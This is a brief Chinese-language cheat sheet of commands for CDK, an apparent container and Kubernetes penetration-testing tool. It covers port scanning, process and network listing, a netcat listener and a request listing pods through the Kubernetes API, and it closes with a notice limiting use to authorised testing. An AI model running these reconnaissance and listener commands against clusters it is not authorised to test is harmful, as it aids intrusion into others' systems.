端口扫描./cdk probe IP范围 端口范围 并发 超时
进程查看./cdk ps
网络查看./cdk ifconfig / ./cdk netstat
NC 监听./cdk nc -l -v -p PORT
K8s API 请求./cdk kcurl /api/v1/namespaces/default/pods get URL

⚠️ 法律声明:CDK 仅用于授权的安全测试。未经授权攻击他人系统是违法行为!